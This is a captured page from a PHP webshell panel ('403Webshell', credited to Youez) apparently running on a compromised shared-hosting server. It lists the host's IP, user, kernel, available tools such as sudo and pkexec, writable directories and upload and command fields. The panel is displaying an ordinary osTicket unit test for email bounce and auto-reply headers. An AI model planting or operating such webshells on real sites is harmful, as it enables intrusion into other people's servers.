- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 18.218.113.131
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 8.2.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/puertode/www/mesa/setup/test/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/puertode/www/mesa/setup/test/tests/test.email-bounces.php
<?php
require_once "class.test.php";
require_once INCLUDE_DIR."class.filter.php";
require_once INCLUDE_DIR."class.mailparse.php";

class MailBouncing extends Test {
    var $name = "Mail header tests";

    function testBounceHeaders() {
        static $headers = array(
            'Return-Path: <>',
            'From: Mail Delivery Subsystem <mailer-daemon@googlemail.com>',
            'X-Failed-Recipients: xxxxrack@xbsoxxxxxx.com',
            'Subject: Delivery Status Notification (Failure)',
            'From: MAILER-DAEMON@mail1.dl.supportsystem.com (Mail Delivery System)',
            'Subject: Undelivered Mail Returned to Sender',
            'Content-Type: multipart/report; report-type=delivery-status;
                boundary="6053C732A.7354145592/mail1.dl.supportsystem.com"',
        );
        foreach ($headers as $h)
            $this->assert(TicketFilter::isBounce($h), $h.": Unidentified bouce");
    }

    function testAutoReplyHeaders() {
        static $headers = array(
            'Auto-Submitted: auto-replied',
            'Precedence: auto_reply',
            'X-Precedence: auto_reply',
            'X-Autorespond: osTicket v1.8.0.2 Released',
            'Auto-Submitted: auto-generated',
            'X-Autogenerated: Reply',
        );
        foreach ($headers as $h)
            $this->assert(TicketFilter::isAutoReply($h),
                $h.": Unidentified auto-reply");
    }
}

return 'MailBouncing';
?>

Youez - 2016 - github.com/yon3zu
LinuXploit